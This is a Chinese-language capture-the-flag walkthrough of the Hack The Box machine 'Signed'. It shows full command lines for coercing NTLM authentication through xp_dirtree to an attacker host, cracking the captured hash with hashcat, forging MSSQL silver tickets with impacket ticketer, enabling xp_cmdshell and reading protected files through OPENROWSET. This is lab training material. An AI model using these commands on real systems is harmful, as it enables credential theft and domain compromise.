之前打了没写,今天重新打一遍

有初始凭据

As is common in real life Windows penetration tests, you will start the Signed box with credentials for the following account which can be used to access the MSSQL service: scott / Sm230#C5NatH

域名解析

echo "10.10.11.90 signed.htb  DC01.signed.htb" >> /etc/hosts;

Nmap

给的初始凭据就是mssql的,这边1433端口开放,vshell搭一个隧道出来直接navicat连,发现是看不了任何东西的,猜测是低权限

Mssql-xp_dirtree拓展

SELECT SYSTEM_USER, USER_NAME();

这里查看是否有xp_dirtree 权限,让AI写一个查看当前用户所有可利用权限的语句

SET NOCOUNT ON;

-------------------------------------------------------
-- 1. Identity & Roles (Who am I?)
-------------------------------------------------------
SELECT 
    '1. Identity Info' AS [Category],
    SUSER_NAME() AS [Login_Name], 
    USER_NAME() AS [DB_User_Name], 
    CASE 
        WHEN IS_SRVROLEMEMBER('sysadmin') = 1 THEN 'YES (Admin)'
        ELSE 'NO'
    END AS [Is_SysAdmin],
    CASE 
        WHEN IS_MEMBER('db_owner') = 1 THEN 'YES (Owner)'
        ELSE 'NO'
    END AS [Is_DbOwner];

-------------------------------------------------------
-- 2. Permissions on High-Risk Extended Procs
-------------------------------------------------------
SELECT 
    '2. High-Risk Features' AS [Category],
    ProcName AS [Procedure_Name],
    CASE 
        WHEN HAS_PERMS_BY_NAME('master.sys.' + ProcName, 'OBJECT', 'EXECUTE') = 1 THEN 'YES (Executable)'
        ELSE 'NO'
    END AS [Permission_Status],
    [Description] AS [Function_Description]
FROM (VALUES 
    ('xp_cmdshell', 'Execute OS Commands (Very High Risk)'),
    ('xp_dirtree', 'List Directory Structure'),
    ('xp_fileexist', 'Check File Existence'),
    ('xp_regread', 'Read Registry'),
    ('sp_OACreate', 'OLE Automation (COM Objects)')
) AS T(ProcName, Description);

-------------------------------------------------------
-- 3. Effective Server-Level Privileges (Added IMPERSONATE Check)
-------------------------------------------------------
SELECT 
    '3. Key Server Privileges' AS [Category],
    permission_name AS [Permission_Name],
    'EFFECTIVE' AS [Status]
FROM fn_my_permissions(NULL, 'SERVER')
WHERE permission_name IN (
    'CONTROL SERVER',      -- Full Control
    'ALTER ANY LOGIN',     -- Change Passwords/Create Admins
    'VIEW SERVER STATE',   -- View Dynamic Management Views
    'ALTER SETTINGS',      -- Change Server Config
    'IMPERSONATE ANY LOGIN' -- God-mode impersonation
)
UNION ALL
SELECT '3. Key Server Privileges', 'No special privileges found', 'N/A'
WHERE NOT EXISTS (
    SELECT 1 FROM fn_my_permissions(NULL, 'SERVER')
    WHERE permission_name IN ('CONTROL SERVER', 'ALTER ANY LOGIN', 'VIEW SERVER STATE', 'ALTER SETTINGS', 'IMPERSONATE ANY LOGIN')
);

-------------------------------------------------------
-- 4. Impersonation Targets (Can I become someone else?)
-------------------------------------------------------
-- This section lists users/logins you can "inherit" permissions from
SELECT 
    '4. Impersonation Candidates' AS [Category],
    'SERVER LOGIN' AS [Type],
    name AS [Target_Name],
    CASE 
        WHEN IS_SRVROLEMEMBER('sysadmin', name) = 1 THEN 'CRITICAL (Target is Admin)'
        ELSE 'Standard Login' 
    END AS [Risk_Level]
FROM sys.server_principals
WHERE type IN ('S', 'U', 'G') -- SQL Login, Windows User, Group
  AND name != SUSER_NAME()    -- Exclude yourself
  AND HAS_PERMS_BY_NAME(name, 'LOGIN', 'IMPERSONATE') = 1

UNION ALL

SELECT 
    '4. Impersonation Candidates',
    'DATABASE USER',
    name,
    CASE 
        WHEN IS_ROLEMEMBER('db_owner', name) = 1 THEN 'HIGH (Target is DbOwner)'
        ELSE 'Standard User'
    END
FROM sys.database_principals
WHERE type IN ('S', 'U', 'G')
  AND name != USER_NAME()     -- Exclude yourself
  AND HAS_PERMS_BY_NAME(name, 'USER', 'IMPERSONATE') = 1
  
UNION ALL

-- Show "None" if no targets found
SELECT '4. Impersonation Candidates', 'NONE', 'No targets found', 'Safe'
WHERE NOT EXISTS (
    SELECT 1 FROM sys.server_principals 
    WHERE name != SUSER_NAME() AND HAS_PERMS_BY_NAME(name, 'LOGIN', 'IMPERSONATE') = 1
) AND NOT EXISTS (
    SELECT 1 FROM sys.database_principals 
    WHERE name != USER_NAME() AND HAS_PERMS_BY_NAME(name, 'USER', 'IMPERSONATE') = 1
);

发现这个xp_dirtree 拓展是可用的,这个拓展的主要作用是用于列出目录,就类似dir命令吧,在Mssql里面这个拓展可以代表Mssql的服务账户去列目录,这里主要打的是NTLM中继攻击

NTLM中继攻击

上面我们解释了这个xp_dirtree 拓展实际上是通过Mssql服务账户来执行操作的,该函数其实还可以发起一个SMB连接,大概是访问类似\\10.10.16.xx\asdasd ,这个IP是攻击机的IP,然后用responder监听发送过来的认证信息,捕获其NTLM哈希值

Navicat

EXEC xp_dirtree '\\10.10.17.*\asdas'

使用responder执行

responder -I tun0 

这个tun0是你的HTB的那个网卡,你ip a 自己看你HTB的ip在哪个网卡上

不过这里我是之前跑过一次了,大概的数据长这样

NetNTLMv2爆破

这里可以直接用hashcat的5600(NetNTLMv2)模式来跑

hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt 
purPLE9795!@

Mssqlsvc登录

这个涉及到Windows认证的登录有一点点复杂,如果是impacket-mssqlclient 直接

impacket-mssqlclient 'signed.htb/mssqlsvc:purPLE9795!@@10.10.11.90' -windows-auth 

不过要用navicat登录的话,就需要另一种方式启动你的navicat

runas /netonly /user:signed.htb\mssqlsvc navicat.exe

然后输入这个账户的密码,再选择Windows认证即可.然后继续使用那个权限查看的语句,发现仍然是一个低权限,也没有xp_cmdshell来执行命令

不过,我们都拿到这个服务账户的hash了,直接打白银票据

白银票据

原理涉及到Windows认证机制的某一个过程,可以自己问AI或者找一下文章看看,反正简单来说就是通过这个服务账户的NTLM哈希,我们可以伪造任意用户访问 Mssql服务的TGS票据,这里主要就是找一下哪个用户或组对Mssql服务有xp_cmdshell的权限.

执行这个SQL查看哪些用户是sysadmin的

SELECT r.name AS role, m.name AS member FROM sys.server_principals r JOIN sys.server_role_members rm ON r.principal_id=rm.role_principal_id JOIN sys.server_principals m ON rm.member_principal_id=m.principal_id WHERE r.name='sysadmin';

这里能控制的就只有这个同域的IT组,大概就是伪造一个任意高权限成员在这个IT组里面,通常来说主要是伪造一些高权限的RID,有512 → Domain Admins 519 → Enterprise Admins 高权限组 500 → Administrator 这些高权限用户 ,名字则可以随意取,因为Mssql服务通常只认SID,保险的话也可以改成对应的.

要伪造白银票据需要一些条件

  1. 需要域的SID值 
  2. 域名
  3. 需要当前服务账户的SID值以及想伪造的服务账户的SID值
  4. 需要服务账户的密码的NTLM的hash
  5. spn服务名称

Mssql查询域名,不过我们肯定知道域名就是SIGNED

select DEFAULT_DOMAIN() as mydomain;

查询IT组的SID

select SUSER_SID('SIGNED\IT')    

不过这里navicat显示不出来,需要转一下

SELECT CONVERT(varchar(100), SUSER_SID('SIGNED\IT'), 1);
0x0105000000000005150000005B7BB0F398AA2245AD4A1CA451040000

读出来是2进制数据,找AI写一个脚本转一下格式

#!/usr/bin/env python3
"""
sid_decode.py
Decode Windows binary SID hex (e.g. 0x0105...) into S-1-...

Usage:
  sid_decode.py 0105...
  sid_decode.py 0x0105... 0105...
  echo "0x0105..." | sid_decode.py
  sid_decode.py < file.txt
"""

from __future__ import annotations
import re
import sys
from typing import Iterable


HEX_TOKEN_RE = re.compile(r'(?:0x)?[0-9a-fA-F]{2,}')

def iter_hex_tokens(text: str) -> Iterable[str]:
    """Extract hex tokens like 0x0105... or 0105... from arbitrary text."""
    for m in HEX_TOKEN_RE.finditer(text):
        tok = m.group(0)
        tok = tok[2:] if tok.lower().startswith("0x") else tok
        # keep only hex chars (in case someone pasted with separators)
        tok = re.sub(r'[^0-9a-fA-F]', '', tok)
        if tok:
            yield tok

def decode_sid_hex(hex_str: str) -> str:
    hx = re.sub(r'[^0-9a-fA-F]', '', hex_str)
    if hx.lower().startswith("0x"):
        hx = hx[2:]
    if len(hx) % 2:
        raise ValueError("hex length must be even")
    b = bytes.fromhex(hx)
    if len(b) < 8:
        raise ValueError("too short for SID header (need >= 8 bytes)")

    rev = b[0]
    sub_count = b[1]
    ident_auth = int.from_bytes(b[2:8], "big")

    need = 8 + 4 * sub_count
    if len(b) < need:
        raise ValueError(f"need {need} bytes for {sub_count} sub-authorities, got {len(b)}")

    subs = [
        str(int.from_bytes(b[8 + 4*i : 12 + 4*i], "little"))
        for i in range(sub_count)
    ]

    extra = len(b) - need
    if extra:
        # Not fatal; some people paste extra bytes accidentally.
        # You can choose to raise instead of warn.
        pass

    return "S-{}-{}-{}".format(rev, ident_auth, "-".join(subs))

def main(argv: list[str]) -> int:
    if len(argv) > 1:
        inputs = argv[1:]
        tokens = []
        for s in inputs:
            tokens.extend(list(iter_hex_tokens(s)))
    else:
        tokens = list(iter_hex_tokens(sys.stdin.read()))

    if not tokens:
        print("Usage: sid_decode.py <hex/0xhex> [more...]\nOr pipe text containing hex.", file=sys.stderr)
        return 2

    for t in tokens:
        try:
            print(f"{t} -> {decode_sid_hex(t)}")
        except Exception as e:
            print(f"{t} -> ERROR: {e}", file=sys.stderr)
    return 0

if __name__ == "__main__":
    raise SystemExit(main(sys.argv))

所以说这里域内IT组的SID就是

S-1-5-21-4088429403-1159899800-2753317549-1105

同理,Mssqlsvc的SID为

SELECT CONVERT(varchar(100), SUSER_SID('SIGNED\Mssqlsvc'), 1);
S-1-5-21-4088429403-1159899800-2753317549-1103

可以发现只有最后部分的RID才是不一样的一个是1105一个是1103,前面部分代表的是SIGNED域,所以说这里其实已经拿到了域的SID了,还剩下spn还有NTLM哈希

NTLM哈希可以用明文密码直接shell转换(其实是python)

python - <<'PY'
from impacket.ntlm import compute_nthash
h = compute_nthash("purPLE9795!@")
print(h.hex())
PY
ef699384c3285c54128a3ee1ddb1a0cc

SPN也可以通过推测出来,SPN的格式通常为

<ServiceClass>/<FQDN>:<Port>

ServiceClass在Mssql里面就是MSSQLSvc,FQDN就是完全限定域名也就是

<主机名>.<域名> 在这里就是DC01.signed.htb ,因为Msssql服务开在域控上,而且也只有域控这一台机器,端口就是1433

SPN就是

MSSQLSvc/DC01.signed.htb:1433

最后用impacket里面的ticketer.py来伪造一个在IT组里面的有着RID为500高权限的实际上找不到这个人的名为hajimi的TGS票据来实现高权限访问Mssql服务

python ticketer.py -nthash ef699384c3285c54128a3ee1ddb1a0cc -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain signed.htb -spn MSSQLSvc/DC01.signed.htb:1433 -groups 1105 -user-id 500 hajimi

(这个警告是因为我python版本太高了,提示impacket的某些写法会在未来弃用)

写入环境变量并尝试连接(这里就不太好用navicat了😿)

export KRB5CCNAME=hajimi.ccache  
mssqlclient.py -k -no-pass DC01.SIGNED.HTB 

enable_xp_cmdshell 启动xp_cmdshell

user.txt

找个反弹shell命令直接弹

拿到user.txt

OPENROWSET线程模拟实现伪提权

OPENROWSET是Mssql的一个用于从数据库外部直接读取数据的访问接口,主要特点是通过OPENROWSET读取外部文件的时候不会像xp_cmdshell那样另起一个mssqlsvc用户权限的新cmd进程,而是通过线程模拟在Mssql内部进行操作来读取文件,此时如果我们是以高权限用户登录的Mssql,Mssql会挂载一个临时的模拟令牌(Impersonation Token),这个模拟令牌是依赖于登录验证时的白银票据决定的.不过...

进程模拟非本进程账户令牌通常只能是获得用于识别身份的令牌,而不是能够实现执行操作的令牌,不是一个高完整性对象.很抽象,来试错一下

这里我们依旧模拟500 hajimi,但是给它多加管理员组512 519,照理来说,现在的hajimi已经是512 519管理员组,同时RID为500是纯正的administrator.

python ticketer.py -nthash EF699384C3285C54128A3EE1DDB1A0CC -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain SIGNED.HTB -spn MSSQLSvc/DC01.SIGNED.HTB -groups 512,519,1105 -user-id 500 hajimi

当我们利用OPENROWSET读取root.txt文件的时候.666,这里居然出现了1346报错,跟常见直接的permission denied不同,1346的原因是系统知道你是administrator,但是不允许你通过Mssql这个服务来进行读取高权限文件的操作,就是一些安全限制嘛.

所以说,这里最终的伪提权方案是通过模拟高权限组的mssqlsvc用户来获取完整的令牌从而实现root.txt文件读取,因为关于读取root.txt这种高权限操作其实只需要你是管理员组的即可,不一定非得是administrator.

python ticketer.py -nthash EF699384C3285C54128A3EE1DDB1A0CC -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain SIGNED.HTB -spn MSSQLSvc/DC01.SIGNED.HTB -groups 512,519,1105 -user-id 1103 hajimi

root.txt

写入环境变量后连接mssql执行读取root.txt文件的命令

export KRB5CCNAME=hajimi.ccache
mssqlclient.py -k -no-pass DC01.SIGNED.HTB
SELECT * FROM OPENROWSET(BULK 'C:\Users\Administrator\Desktop\root.txt', SINGLE_CLOB) AS x;

答疑+拓展

  1. 有人会问?为什么前面模拟administrator获取sysadmin权限的时候就没有这令牌的限制.

首先,关于Mssql服务对sysadmin的认证是只要你是SIGNED域内IT组的即可,况且认证是只需要能够识别你是这个范围的成员即可,不需要你去实际操作什么.所以说这里就算是残缺的administrator也是能够进行认证的,其实也可以不用模拟administrator,只要是一个确定的人哪怕是模拟mssqlsvc在这个IT组内也行,不过可能会有其他的安全限制,比如说只能让administrator有这个sysadmin权限,反正往大了模拟肯定没问题的.

  1. 又有人可能问?不是这个OPENROWSET这么超标嘛?但是只能读文件还是太垃圾了,有没有什么跟它一样超标的然后又能执行命令的实现真正的提权.

有的兄弟,有的. Mssql还有一个CLR(SQL Server Common Language Runtime)允许你在Mssql里面实现C# VB.NET 等.NET 托管代码运行.不过默认关闭需要显式开启.在这里面你可以通过代码实现高权限的读写文件,当然执行命令还是会像xp_cmdshell一样.能够写文件的话就可以写一些启动项什么的来提权.

不过,实战是,当我拿到这个mssqlsvc权限执行命令的时候我已经通过Windows服务账户通常自带的SeImpersonatePrivilege 权限用potato提权提飞了😈.这个题是因为出题的把这个权限删了😫.

不过虽然可能大部分情况显得CLR没有啥用,但是这个可以实现无文件落地的操作,因为有些杀软什么的会标记你的potato恶意程序,我们可以让CLR通过代码来实现potato从而进行无文件落地的提权.